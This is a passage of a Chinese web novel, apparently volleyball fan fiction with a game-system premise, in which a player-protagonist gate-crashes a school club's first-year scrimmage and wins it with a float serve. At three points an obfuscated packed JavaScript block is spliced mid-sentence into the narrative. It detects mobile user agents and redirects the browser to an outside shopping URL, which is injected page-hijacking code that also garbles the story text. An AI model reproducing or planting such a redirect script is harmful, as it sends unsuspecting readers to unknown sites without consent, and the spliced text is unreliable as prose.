对于夏树和真来说,早上提前吃便当已经是家常便饭了,不说在学校,就算是在医院,甚至往往等不到饭点,就忍不住把母亲和幼驯染带来的慰问品吃个精光。 事到如今,夏树和真已经成长为无法在午休时间才吃便当的健全男子高中生了。 某种意义上,真是可喜可贺。 现在也是,原本就打算提前吃便当的夏树和真认真思索了两秒,视线在不远处若隐若现的体育馆和樱花树之间徘徊,然后果断扭头,站在大树下的时候,大脑还没有检索出和爬树有关的信息,在指尖触碰到粗糙的树干的一瞬间,一股电流就从指尖一路窜到天灵盖,记忆的深处有什么忽然掀开了一角。 等到夏树和真反应过来的时候,他就已经精准动用了身体的每一块肌肉,到达了最为合适的吃便当圣地。 “我、绝对有吧。超高校级的爬树才能之类的。” 夏树和真半倚在树枝上,一只脚晃晃悠悠地垂着,一只手上拿着咬了一口大概是饭后吃的苹果,嘴里还发出清脆的咀嚼声,脸上明晃晃的得意洋洋。 此时,玩家界面上慢悠悠地弹出了一个提示。 【精力:+1】 夏树和真的动作顿了顿,正想着试探性再吃一口的时候,走廊传来一阵喧闹的声响。 走廊拐角,七八个女生将一个人团团围在当中。被围住的人,个子很高,棕色的清爽短发,帅气的脸,以及即便是被女生包围脸上也是游刃有余的样子。 这大概就是所谓的受欢迎吧。 夏树和真继续咬了一口手中的苹果,漫不经心地想。 【精力:+1】 夏树和真眼睛亮了起来,懒散地靠在树干上的脊背也稍微挺直了一些,他三下五除二地解决完了手中的苹果。 夏树和真打开系统面板。 【精力:75】 (精力和行动挂钩,休息状态自动回复:10/h) 一个苹果,不管吃几口总共只有5体力值,而一个便当则是20体力值。 而他现在身上除去一个便当和最后一个苹果,就没有其他加体力值的道具了,更何况下午还是要回去参加社团的,最好还是用在刀刃上比较好。 但是,俗话说得好,节流不如开源。 夏树和真认为与其实施忍着不吃这种根本做不到的方式,不如增加道具。 而玩家的道具获取方式,自然只有一种! 夏树和真回过神来,直到这时才发现树下一直发出悉悉索索的声响,他定睛一看,站在树下的是一位金色短发的女生,低垂着脑袋,嘴里还在自言自语着什么,而且似乎是因为过于紧张,颤抖的嗓音时不时变调,捧着一个小袋子的手无意识用力,几乎要挤压到里面的东西。 夏树和真的鼻子动了动,敏锐地嗅闻出里面黄油的香味。 “及、及川前辈!这是我亲手烤的饼干,如果可以的话,希望前辈能收下!” 森优子不断重复着准备了许久的开场白,双眼时不时从发丝的间隙中看向那个被人群包围的中心,似乎要从那人的笑容中汲取勇气一般,她深吸了一口气。 “哈喽。” 清爽干净的声线在她耳边响起,森优子的一口气硬生生卡在喉咙间,同时一道黑影出现在了她的眼前,她慢半拍地抬起头。 映入眼帘的是一团黑乎乎的东西。 夏树和真双腿挂在树枝上,整个人直直地垂落下来,没有扣起的制服外套和头发一股脑地糊到了脸上,像是台风天里被吹翻的黑色雨伞。 他诡异地停顿了两秒后,他双腿发力重新回到了原本的位置,小狗甩水似地摇了摇脑袋,随便扒拉了两下乱糟糟的头发露出脸后,用手腕的红绳扎了一个小辫子,最后安静地扣上了外套的扣子。 等到一切都准备好后,宛如慢镜头回放一样。 夏树和真再一次地倒挂了下来。 即便是这样潦草扎起的发型和刚才意味不明的动作,也丝毫不影响这张脸的攻击性。 一切都发生得过于迅速诡异,导致森优子已经完全无法对其作出判断,只能下意识根据身体本能反应。 森优子的心脏猛然一跳,整个人往后倒退了一步,几乎是要腿软坐到一旁的草丛里了。 “哟。”倒挂的少年冲她眨了眨眼睛,随后视线毫不掩饰地直盯着她手中的饼干,“那个,好像很好吃的样子。” 森优子脑子已经完全宕机,周遭的声音从她的左耳进,右耳出。她只能零星分辨出“好吃”这个词,于是身体比大脑反应还快,双手递出一直抓在手里的饼干。 “给、给你。” “哇——真的给我吗?谢谢!” 夏树和真好心情地笑了,他的双脚从枝干上松开,身体即将向下坠落时,腰腹骤然用力,整个人在空中利落地翻了个身,整个过程一气呵成,动作熟练,一看就像是不知道做过多少次,身体已经养成下意识的反应。 他轻巧落地,伸手接过了方才心心念念的饼干,动作迅速地打开了精致的包装,看了一眼里面形状小巧可爱的饼干,然后满怀感激地仰起脑袋,哗啦啦地倒了一半,边吃边夸奖道:“好、好吃!” 不过因为嘴里塞得太满,所以只能凭借常识去判断夏树和真嘴里大概会说的话。 “喜欢……就好。” 紧张的身体不知何时缓和下来,森优子仿佛被感染一般,她也缓缓露出了一个自然的笑。 直到此刻,她宕机半天的大脑才逐渐恢复运转,这才发现周围似乎安静得过分,她下意识地看向刚才自己一直关注的位置。 无论是人群中心的及川彻,还是身边同样提着慰问品的少女们,此时都不约而同地看向了自己这个方向。 不…… 是站在樱花树下穿着黑色制服的少年。 “啊,吃完了。” 夏树和真没两下就吃完了手上的饼干,耳边传来系统的提示音。 【精力:+5】 “好高。” 夏树和真有些惊讶,他把手上的包装重新折叠,用蝴蝶结绑好后放进了自己的背包。 这一切都做得过于顺手,就像是吃饭喝水一样日常,以至于夏树和真再次拉上书包拉链的时候,一直注视着人群爆发出了一声尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533908|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫。 “啊啊啊,好可爱!!” 夏树和真手一抖,单肩背着的书包滑落到了臂弯上。 “也吃我的吧!我也有手作的饼干!!” “我也有!是我一早上做的布丁!” “吃巧克力吗?我有巧克力!” “诶?” 夏树和真还是一如既往地会抓关键词,他几乎是准确地捕捉到了说出这话的人,然后笑道:“真的吗?我要!” 在场的所有人都感觉像是被什么击中一般,人群中响起了此起彼伏的“哦呼”声。 在涌向他的人群中自由穿梭,夏树和真精准地拿到了递给他的礼物,然后道谢后再到下一个人,如此循环仿佛。他那挂在臂弯上的背包,实力深不见底,就算是塞了半天也没有鼓起过。 就这样完美收下了所有的礼物,夏树和真从包围中灵活脱身,找了个没什么人的位置,一个棕发的男生的旁边,再次连吃了两份,直到面板上精力条满了后才停下。 看着夏树和真豪迈的姿态和那张脸,及川彻感受到了世界的参差。 夏树和真瞥了一眼看上去无所事事很是“空闲”的男生,拍了拍他的肩膀,毫不见外道:“我还有重要的事情,要先走了。能帮我和她们转达一句多谢款待,真的很好吃吗?谢啦!这个给你吃!” “……” 及川彻看着说完扭头就跑的夏树和真,以及不知为何手上被强制塞了一个苹果。 他盯着手中的苹果,半天才从牙缝里挤出一个疑问。 “……为什么是苹果?” …… 顺利换好运动服的国见英完成了一组基础训练后,缩在体育馆的一个不起眼的角落,懒得去管滑落到脚腕的护膝,双手插在外套口袋里,双脚夹着一个排球,就这样倚靠着墙壁,半是神游地听着入畑教练的讲话。 “我们青叶城西一直以来都是宫城县内四强的学校,也是一直朝着打倒王者白鸟泽,称霸宫城县,进军全国的目标出发!如今在及川君的带领下,新一学年我们又吸纳了新鲜血液,这其中很多同学大多都是从北川第一直升到青叶城西,在排球部也有许多熟人面孔。排球绝对不是一个人的运动,只有大家齐心协力才能发挥最大的力量,记住我们的口号:制霸球场!让所有人看看,今年的青叶城西不同以往!” 入畑伸照是一个老练的教练,他非常清楚怎样的话语才能够激发这群少年人的热情。他的目光在新进的一年级生的面孔中一一扫过去。明明今天不是第一天开学,他也不是第一次看见这群一年级的脸,但是他就像是要去确认什么一般,每一个看过去。 在内心深深叹了一口气,入畑伸照收回了视线,从旁边的沟口老师手上拿过了一早划分好的表,然后进入了今天的正题。 “今天举行一个队内小型的一年级对抗赛,按照事先划分好的名单,大家各自在不同的球场开始比赛,比赛赛制一局定胜负。” 国见英露骨地表现出了不情愿。 “喂,国见,表情!表情不要让教练看见了!” 身边的金田一提醒道。 “麻烦。” 国见英小声道。 这个词一说出来,国见英就皱起了眉头,总觉得这个词好像在这之前…… 右眼皮又开始跳起来的国见英,隐隐有一种不祥的预感。 他不由看向体育馆门口。 9. 第九章 错觉? “喂——” 麻烦。 “喂喂,国见!听得见吗?” 国见半睁着眼睛,瞥了一眼金田一,慢慢道:“不用重复那么多次,我也听见了。” “那就不要无视我啊。”金田一刚下场站在一旁,一边拿着水瓶往嘴里灌水,一边用手拉扯着运动服的下摆,试图透口气。他看着从一开始就缩在角落没动弹的国见英,说:“发生什么了吗?总感觉你今天一直心不在焉的。” “没有。” 国见英干脆驳回了金田一的话。 “下一场,B队:石渡悠,角田勇,上田太智,西川奏太,国见英。因为名单上少了一个人,所以由二年级的矢巾临时补充。” 远处的花卷贵大拿着对战表,不紧不慢喊道。 “叫你了,国见。”金田一说。 “啊——” 国见英撇了撇嘴,身子歪到了一边,双脚夹着的排球也咕噜咕噜滚向门外。 “……真的什么也没发生吗?你的没干劲感觉比以往还要严重。”金田一说。 “这边少了一个球,一年级有没有多的球?” 那边的花卷贵大将对战表卷成了一个圆筒的形状,放在嘴上拉长声音询问道。 国见英脱下了外套,站起身的同时把脚腕上的护膝拉上了膝盖,避开了金田一的问题,径直向大门方向走去,道:“我去捡球。” “哦、哦。”金田一摸了摸后脑勺,应道。 虽然国见那张天然看上去心情不好的脸已经不是一天两天的了,但是在这么长的相处下来,金田一还是能微妙地分辨出国见英的真实情绪。大部分的时候都是淡淡的,哪怕嘴上说着麻烦实际上也没什么可以扰乱他的心情。像是现在这样,明显有什么的样子倒是少见。 金田一看着那颗越滚越远的球,思考着如果那颗排球滚到了门外,国见英干脆放弃的可能性有多大。想着想着,还是叹了口气,跟着他的方向跑了过去想要先一步把球捡回来。 “Surprise——!” 但是最终先一步出现在门口的是一双黑白色的运动鞋,那颗滚了一路的排球兜兜转转还是安静地停在了他的脚边。 正要弯腰捡球的国见英以肉眼可见地停顿了。 夏树和真捡起了球,递给了面前的国见英。 “又见面了?好巧,你也是排球部的?” “……为什么说得好像你也是这个排球部的一样?”国见英接过球,迅速后退了两步和夏树和真拉开了一段距离后,才终于开口。 “嗯?要问为什么?” 夏树和真缓缓露出了一个笑容,只不过那张好看到令人炫目的脸,在国见英的眼中更像是一个麻烦的讯号。 就好像每当他这样笑时,自己一定会倒霉。 “啊国见,你们认识?” 落后一步的金田一,看着眼前明显不是这个学校的制服,有些疑惑。 “不认……” “踢馆!” 国见的声音被夏树和真重量级的回答彻底覆盖,因为这句话足够声音洪亮且理直气壮,再加上原本体育馆内的人就在等待下一轮比赛的间隙,所以更能清楚听见这个能一瞬间激起运动部的男子高中生的所有注意力的挑衅。 “哈?!” “……!” “我没听错吧?踢馆?” “哇,一个人闯进他校的排球部,胆量很大嘛。” “看上去是一年级,那个校服我好像有点印象……” “现在是佩服的时候吗?!花卷!松川!现在教练和监督都不在,岩泉也跟着一起去了。现在可是只有我们三年级在,要好好主持场面啊喂!要是打起来了怎么办!”温田兼生拍了拍花卷搭在松川肩上的手臂,急忙道。 “嘛,也不用那么担心吧,踢馆这样有趣的事情,我以前还是在漫画上才看过哈哈,看来今年每个学校的一年级有很多性格强烈的家伙呢。”花卷贵大还是一副不紧不慢的样子,他看向似乎在思考着什么的松川,道:“你说对吧,松川?” “啊。” 松川一静收回了视线,说:“不管是谁,有没有实力,上了赛场就知道了。如果是没有实力的家伙,直接让他打道回府的事情而已。” “哈哈,说的不错嘛,松川。” 虽然道理是这么个道理,但是温田总觉得有哪里不对。 “……你们只是想看热闹吧!待会监督和岩泉他们回来了要怎么解释啊!啊啊关键这个时候,及川那个家伙也不在!啊不对,那家伙也可能会看热闹!!”温田的目光触及到二人脸上微妙的笑容时,有些崩溃道。 “那就速战速决就行了,温田前辈!那种只有脸好看,还敢直接跑到敌人的大本营的家伙,肯定是个笨蛋。” 矢巾秀不知何时从旁边冒出来,向着抱着脑袋焦急地就差原地转圈圈的温田兼生建议道。 “哦!矢巾很有干劲嘛。” “那就这么愉快的决定了。” 花卷和松川一唱一和,就这样真的朝门口的方向走去。 “啊啊,不要这么随便的决定啊!” 温田看着三人的背影,似乎已经预见了不久后体育馆混乱的场景,以及回来后监督和岩泉漆黑的脸。 …… “哈。” 已经不知道是今天的第几次叹息,比赛还没开始,国见英就觉得心累。 因为临时加入了夏树和真,花卷贵大原本是打算让他和二年级的矢巾换,但是没想到还没有实施,A队里一个脸色惨白的新生先一步站出来,颤颤巍巍地举手说:“那个,前辈我身体有些不舒服,可以把我的位置给na……这位同学。” 花卷贵大看了一眼这个新生,又核对了一遍表上的名字:“竹田,竹田幸太郎?位置是……自由人?” “是、是的!” 竹田幸太郎点头如捣蒜,他脸色白到嘴唇几乎没什么颜色了,额角还不断渗出冷汗。他放在裤腿边的双手紧握成拳,以肉眼可见地颤抖起来。 看上去似乎下一秒倒下去都不奇怪。 花卷贵大都吓了一跳,他记得刚才这个后辈出列的时候,脸色分明是正常的,怎么突然就变成了这样,像是用整个身体在压抑着巨大的痛苦一般. “现在去医务室吗?还是直接去医院!不要勉强,竹田。”松川道。 “不、不用的,前辈。” 竹田幸太郎低下头,头顶的发丝是染过的蓝色,现在已经褪得很浅了,正在逐渐恢复成原本的黑发。稍长的发丝垂下来,遮住了他此时的神情。 竹田暗暗吸了一口气,他的视线极其隐晦地瞥了一眼夏树和真,却发现他同样看向自己时,却慌乱地避开,呼吸也紊乱了一瞬。 他死死掐住自己的右手手腕,硬生生压下手上的颤抖,继续道:“没事的,花卷前辈。我休息一下就好了。” “……这样吗?我知道了,如果休息还是不行的话,直接喊人。” 花卷审视了一遍竹田的脸色,半晌才终于松口道。 竹田道谢后走到一处无人的角落坐了下去,双腿屈膝,脸埋在腿间,肩膀剧烈颤抖起来,他像是要发泄什么一样,无声的碎碎念着什么,只能听到一些破碎的不成音节的气音。 “怎么会……前辈……NA……为什么……” 忽然,他像是想起了什么,突然冲到自己放背包的地方,哆哆嗦嗦地拿出了手机,锁屏密码划了几次才解开。 而那亮起的屏幕上正是…… …… “A队:松平诚一郎,江崎裕司,今川晴太,关谷泰树,有贺龙生,夏树和真。” “B队:石渡悠,角田勇,上田太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533909|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智,西川奏太,国见英,矢巾秀。” “还是一局定胜负,先拿到25分的队伍胜利。” “那么,开始!” “哔——” 花卷贵大吹响哨子,朝着穿着蓝马甲的A队摆了摆手。 “A队今川晴太发球!” 站在球场上,代替了竹田自由人的位置,夏树和真膝盖弯曲,目光聚精会神地注视着对面,身后的今川晴太发了一个简单的下手发球。 黄白的小球高高跃起,越过众人的头顶,速度并不快,但是角度很刁钻,瞄准了对面球场上后排的缺角,那个动作明显大开的新手的点位过去。 只可惜矢巾迅速反应了过来,双眼直视着那颗飞过来的排球,双臂展开,口中喊道:“我来!” 双腿干净利落地移到判断好的位置,等到排球即将落在跟前时,双臂一收,稳稳地托起了那颗球,向着自己球场上的二传手的方向过去。 非常游刃有余的动作,丝毫不拖泥带水,只是看着就十分舒心。 不愧是青叶城西的正选自由人的技术。 “Nice ball!!” 网前的石渡悠说着,将球托给了早早在一旁完成助跑的角田勇,只见他的手臂向后弯折,腿部的肌肉同时发力,整个人像是弹簧一样高高跃起,手臂像是一条鞭子一样迅速向前摆出。 目标正好是球场上那一道空隙,他的力气很大,手掌拍在球的瞬间,球面的表皮如同水面上的层层涟漪,带着迅猛的速度直接破开了面前江崎裕司和今川晴太的拦网,排球被拦了一次也没有丝毫减速的迹象。 “one touch!!” 江崎裕司感受着疼痛泛红的手心,向同伴大声喊着,但是眼看着这个球的去向和威力,内心或多或少带着已经失分的打算。 “啊啦,这一球有些危险,那边的位置没有……” 花卷还没说完的话就被一旁的松川打断了,他眯着眼睛,注视着球场的每一个成员,说道:“你漏了一个人。” 几乎是在松川话音刚落,一个身影静悄悄地出现在了那个边角的位置,他移动的动作像是猫一样轻盈,此刻双膝弯曲,身体重心降低,上体前倾,双臂自然弯曲置于身前,稳稳地将球接了起来。原本看着气势十足的球在他的手里却像是一个轻轻飘起的蒲公英,完全没有刚刚破开两人拦网的力道。 “哦——看上去不是光说大话嘛。” 另一道网的对面,矢巾秀自然注意到了夏树和真柔软的接球动作以及堪称精准的判断,眼前一亮,毫不在意此刻对手的身份爽快地肯定道。 “接球姿势很柔软,原本就是自由人吗?”花卷贵大吹了个口哨。 “对于球路的预判很精准,处理的手法很巧妙,这样的自由人竟然在之前都没有听说过,难道是外地过来的吗?”松川摸了摸下巴,发出疑问。 和比赛前表现出的张扬不同,如今作为自由人的夏树和真意外地没什么存在感。 每一颗被打过来的球到他的手上就像是一次平平无奇的接球,像是一滴落入海洋的水一样悄无声息,迅速被埋没进场面上逐渐白热化的比赛当中,其他打完比赛围观休息的初学者都被更为华丽直观,爆发力十足的扣球和焦灼的拦网所吸引,但是青叶城西的正选们却发现了一个问题。 这场比赛的节奏很明显已经倾斜了,能够左右比赛的胜负不是扣球猛烈的主攻手,不是一次次拦网的副攻,而是双方同样安静的自由人了。但是比起矢巾秀,夏树和真有一个致命的问题。或许在比赛一开始还没有那么明显,但是到了现在这种节奏越来越快的中盘,夏树和真的问题就体现出来了。 确实是一个有点实力的新人,但是也仅限于此了。 松川一静没有说话。 而同样敏锐地察觉到了这一点的花卷贵大笑道。“哈哈,加油啊,矢巾。” 10. 第十章 拦网前。 国见英的额角不断渗透出的汗液好像全部流到眼睛里面,酸涩的眼眶几乎要被逼出生理盐水了。他弓着腰,用袖子擦了擦眼睛,同时大脑在飞速运转着,分析着一切有用的信息。 那边的二传是个脑袋灵光的,之前被他骗了一颗吊球的印象肯定还残留在他的记忆里,下一次在做同样的话肯定会反应过来。 那个光头力气很大,体力也不错,是直觉派,身体会比脑袋先行动的类型,直觉不错但是容易焦躁,拦网得跟紧一点,让他自己露出破绽。 还有就是…… 国见英不着痕迹地朝面色平静的夏树和真看了一眼。 目前是单人拦网,是对面一直盯得他们很紧的今川晴太,二人几乎是同时起跳,眼看着角田勇的扣杀就要被拦下来的时候,国见英仍然没有什么表情,只是偶尔眨动着酸涩的眼眶,看着网前的单人对决,内心没什么波澜。 就算拦网跟上了也没有关系。 国见英想。 不出所料,在今川试图抢先一步将球摁下去的时候,角田的手已经碰到了球,并先一步瞄准了他的手指扣了下去。 “one touch!抱歉!” “我来!” 西川奏太的内心有些紧张,他虽然不是排球的初学者,但是国中三年基本上都是一轮游,对社团活动都没有太过上心,如今高中还是选择排球的很大原因是青叶城西是个强校,多多少少抱着点如果认真练习说不定能混个正选的位置,打到全国赛的心思,哪曾想一个体验赛都差点给他干趴了,球场上越来越快的节奏,就算是他曾经参加的正式比赛里都是没有的,现在还能站着,还是因为球都没怎么过到他这边,几乎都被矢巾一个人解决了。 还有对面那个大言不惭说要踢馆的他校的家伙。 都是些什么怪物啊! 西川奏太心里暗暗叫苦,刚刚一时冲动喊了句“我来。”但是他心里根本没有底,眼看着这颗高高跃起的球心里犯嘀咕着。 已经打了一次手,不管这颗球出没出界他都得给接起来才行。现在占据了下风不说,战况仍然咬得很紧,或许决定胜负的扭转乾坤一球现在就在他的手上,而且现在那么多人在旁边看着,要是这一球没有接住不就糗大了,一定得接住才行,这不过是一个简单的高飞球,你一定可以的,西川奏太! 勉强做好心理预设,西川奏太眼看着那颗即将飞过来的球,一时有点找不准准确的落点,直到那颗球近到眼睛都可以看出排球上的划痕时,发懵的大脑终于回了过神,下意识地后退了一步,球正好从他僵硬的接球姿势中的空隙中落到地面上,砸在了他的脚背上瞬间反弹,黄白的小球带着比刚刚还快的速度冲向了他还没有来得及回避的脸上。 咚! 西川奏太维持着接球的姿势没动,砸在脸上的排球下一秒落到了地上,在脚边弹了两下最后慢悠悠地滚落到了旁边的花卷贵大的脚边停住了。 “呜哇。” “好痛的样子。” “啊……” “没事吧!!呜哇流鼻血了!!” 西川奏太后知后觉地低下头,正好看见了落在红色马甲上的血液。 花卷贵大走上前去,塞了他几张纸推着他到场下休息休息,嘴上安抚道:“没事没事,打排球经常有的事,要是还觉得不舒服就去医务室看看。” 机械地跟着背后花卷的力道走出场外在旁边的长凳上落坐的西川奏太,对着耳边回荡着温田问着有没有其他方面不舒服,要不要去医务室之类的言语充耳不闻,手上一边抓着纸巾坐了一会儿,宕机的大脑总算能记起来刚刚到底发生了什么。 大脑以慢动作重播的速度一遍遍地重演着刚刚自己如何漏接的,又是如何被球砸中脸的西川奏太悲愤欲死。 此时此刻,一个幻想去往全国夺得总冠军的少年的心,破碎了。 他蹭地站了起来,抓着纸巾推开面前的温田兼生捂着脸跑了出去。 虽然中间出了点小插曲,但是比赛还是要继续的。 对战表的一年级已经基本轮过了一遍,所以B队空缺的位置就由花卷贵大补充了。 …… “呼——” 夏树和真仰起头,深深吐出一口气。事实上,排球离开他的时间或许没有他想象中的那么遥远,即便是对于失忆后的他来说,也只过是一年罢了。只是那短短的一年时间,无论他怎样的消耗,却总会在每一个时间的间隙中被拉得很长很长。或许也因为对于他来说足够长,夏树和真才会在那个时候能够轻快地说出:“嘛,排球也行吧。” 再来一次,也未尝不可。 正如【青春&运动online】所表达的那样——不会回头的青春。 主打体验第二次青春,运动更像是游戏的副板块。小学国中高中分别对应的是游戏的三个游玩模式,为了尽最大可能还原真实的体验,小学是沉浸式体验,到了国中才开启选定的运动项目开启游戏的第二主题:制霸!! 不过事到如今,夏树和真的国中时期到底有没有达成这个阶段性的目标,他暂且不得而知。因为特殊的失忆buff,在奇怪的地方讲究所谓的真实感,即便是在游戏的系统中也查询无果。 排球,排球。 一项运动的规则理论,可能三天三夜也讲不完。它由无数的运动员耗费了数不尽的年月和热爱组成并不断丰富起来。 它是复杂的,但同时,它也是纯粹的。 纯粹到,你的世界里,只要看着它就好了。 看着那颗在空中跃起的排球,然后追逐它。 只要球还没有落地,那么夏树和真就不会输。 很简单的道理,不是吗? 夏树和真能清晰感受到体内源源不断流失的体力,恐怕都不用去看,都已经知道精力条大概要见底了。 比常人还要快许多的体力流失,夏树和真对此心知肚明。知道问题就去解决,现在最重要的是当下的赛场。 再来一球。 夏树和真撑着膝盖,大口呼吸着,他的心脏越跳越快,耳朵里似乎都能听见血液汩汩流动的声音,明明累得几乎反胃,但是他又无比地确认自己现在是如此的—— 快活! 再来一球。 夏树和真想。 …… 比赛再度开始, 花卷贵大发球, “抱歉,救球!” “don''t mind!” “救球!” 球场是那样清晰可见。 球的抛物线,手腕抬起的角度,预测的不断变化的落点,所有的一切都化作一条条的数据映入夏树和真的眼中。 夏树和真判断着局势。排球远远地飞向后排,在见到落点的圆圈亮起的瞬间,身体的反射性条件比大脑的反应还快,他双腿发力像弹簧般高高跃起,一瞬间蹬地起跳的同时手腕下压,手指自然舒展,稳稳地托起球向前排的飞去。 今川在注意到了夏树和真的动作的同时完成了起跳,尽管有心理准备,但是当球顺利服贴地来到了他的击球点的时候,他还是没忍住感到一丝惊讶,但是很快就被愉悦所替代。 没有主攻手能抗拒这样托球。 他一定是二传手。 今川想。 下一秒,今川晴太将球准确地击向压线点。 “哔!” A队得分。 目前比分:24:22 临近赛末点的当下,这一回的发球权意外地给到了夏树和真。 见到原本发球的今川晴太竟然把球递给了自己,夏树和真感到有些疑惑。 毕竟现在他的身份还是自由人,而比赛进行了这么久,他的主要职责也只是接球,也因此,虽然全程开着技能,让他原本就不够的体力以更加令人咋舌的速度流逝,但是多亏了这个意料之外的比赛,他的系统面上的【预测(lv.1)】的熟练值几乎要升满进阶了。 “不是说要踢馆吗?”今川晴太露出了今天的第二个笑容,他的视线越过了夏树和真,朝着一旁临时充当裁判的松川一静,说:“松川前辈,可以的吧?这位同学虽然完美地尽到了自由人的职责,但是他本身也不是自由人,现在比赛已经几乎要结束了,最后一球就交给……他。” 松川一静闻言,没有说好还是不好,只是微微挑眉,目光看向了对面场上的已经插着手笑起来的花卷贵大,然后环视了一圈周围,问道:“你们觉得?” “他可以的话,就让他来!” “我们可以。” 松川一静点了点头,最后看向了夏树和真,说:“你可以吗?” “当然。” 夏树和真笑了,“没有什么是不可以的。” …… “还没有结束!” “这一球之后,要开始发起反击!” “我来我来!” “没问……!” 咚! 所有的话头都被一声巨响截停。 夏树和真双手拿着一个排球, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533910|203759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕一抖,球体就在他的掌心飞快旋转起来。他没有抬头,甚至没有太在意周围,随即五指发力,手臂猛地下压,只听见“啪”地一声,球被狠狠拍向地面,然后回弹,再度落入夏树和真的掌心之中。 就像是暴风雨前平静的海面。 有什么要来了。 在场几乎所有人内心里都隐隐有这个预感,没有人能够将视线从这个时候的夏树和真身上移开。明明先前的他安静的几乎没有任何声音,无论是接球还是传球,夏树和真轻巧的像是一滴水,无声无息地融入到了这个一开始对他甚至存在敌意的队伍之中。 而现在,目睹眼前的夏树和真,之前一切由他者赋予给他的标签,都在这一刻被证实为毫无意义。 “不过是一个稍有实力的新人……吗?这个笑不出来了。” 作为替补临时上场的花卷贵大扯了扯嘴角,目光直勾勾地看向对面那个沉默的却拥有压倒性存在感的夏树和真。 躲在人群中,竹田幸太郎看到这一幕,呼吸再次变得紊乱,手里的汗几乎要抓不住手机,他感到大脑一片空白,恍惚间,有一道光闪过了他的眼睛。 他下意识朝一旁看过去。 …… 系统界面再次弹了出来。 【技能:发球·双蛋黄】 【请选择发球形态】 还是红色和蓝色的两个图标。 【检测到玩家身体数据与技能匹配中】 【精力;25(已经到极限了,你也感受到了吧?) 相貌:10(所有人的目光都会被你吸引) 力量:3(普通人水平之下) 速度:4(普通人水平之下) 体力:3(你能指望一个刚出院人的体力吗?) 技术:2(小学生水平) 智力:5±3(天才和笨蛋只有一线之隔) 幸运:1(神明不会怜爱你)】 【当前最适配:飘发球,成功率50%】 【备注:小学生水平也要碰瓷高中吗?没关系你的lv.3发力了!】 小学生水平的夏树和真撇了撇嘴。 就算想用跳发,但奈何精力实在不允许,累得几乎想要不顾形象大喘气的夏树和真默默忍耐,毕竟尽管是玩家如夏树和真,在这张脸的加持下,在极其偶尔的时候还是会有偶像包袱的。 起手,抛球。排球在天花板聚光灯的照耀下,旋转着。 不是新手常见的下手发球。 而是排球比赛中另一种,专门朝着得分特化的发球武器。 “……竟然是跳发吗?” 花卷贵大很想说一句真的假的,他想到了自己同队队友那极具威慑力的跳发球,不由后背起了冷汗。他摇了摇头,再怎么说如今排球的跳发球也并不是一件只有少数人才会的武器,它是强力的武器不假,现在的高校中,甚至有舍弃一切专门去锻炼一种发球的专门发球员。比赛中,遇到的机会也并不算少,只是除非变态到如白鸟泽的牛岛或者他的队长,这种跳发球在优秀的自由人手里,一个照面说不定就已经能够稳稳接住。 “……绝对不想接。” 国见英露出了嫌麻烦的表情。 所有人在心里一惊后,都或多或少做好了心里准备。 这其中首当其中,受到挑衅的矢巾秀摆好了接球的姿势,眼睛一错不错地盯着拦网前夏树和真的一举一动。 夏树和真整个人弹射出去。在三步助跑之后高高跃起,身体像是蓄势待发的弓箭。只见他的右臂划出一道圆弧,小臂被肌肉牵引着,像鞭子一样甩出去。 矢巾秀的重心沉下去,脚跟微微离地,随时准备接球。 但是夏树和真最后手掌接触球面的一下,突兀地缓了下来,如同蜻蜓点水一般,发出一声轻轻地“砰”的一声。 球体没有任何旋转。 矢巾秀瞳孔猛地一缩,准备向后的动作被迫中断,眼前球的整体速度称不上是快,甚至可以说是缓慢的程度了。但是在排球越过网时忽然晃动了一下,排球在空中的轨迹上下晃动着,像是被风吹起来的塑料袋一样。 矢巾秀判断好落点,正准备向前一步的时候,下一个瞬间,原本离他还有一段距离的球猛地骤然减速,擦过了他的手臂,直直下坠。 “什……!” 排球落地,回弹,最后滚落到一边。 界内。 “哔———” 松川一静吹响了哨声。 “比赛结束,胜者为A队。” 11. 第十一章 【预测(lv.1)熟练值30/30】 【预测(lv.2)升级要求: 1.一阶段熟练值满值 2.属性:技能2,智商5达标】 【预测(lv.2)自动为您升级】 【恭喜玩家解锁重要板块——伙伴协同】 【板块说明:制霸的伟业上伙伴是不可或缺的存在,他们或许暗暗为您加油并提供力所能及的帮助,又或许和您站在同一个赛场上和您并肩作战!我们在努力提升自己的同时,不妨也把目光看向一直在我们身边的伙伴们。】 【伙伴协同(lv.1):预测到达二阶段解锁。想要解锁伙伴的更多协同技能吗?那就一起并肩作战并获得默契值吧!当前协同(lv.1)阶段,玩家可以看到选定的伙伴的数值面板,可以用更加清晰的数据。在和当前伙伴的默契值达标时,可以增加选定人数。】 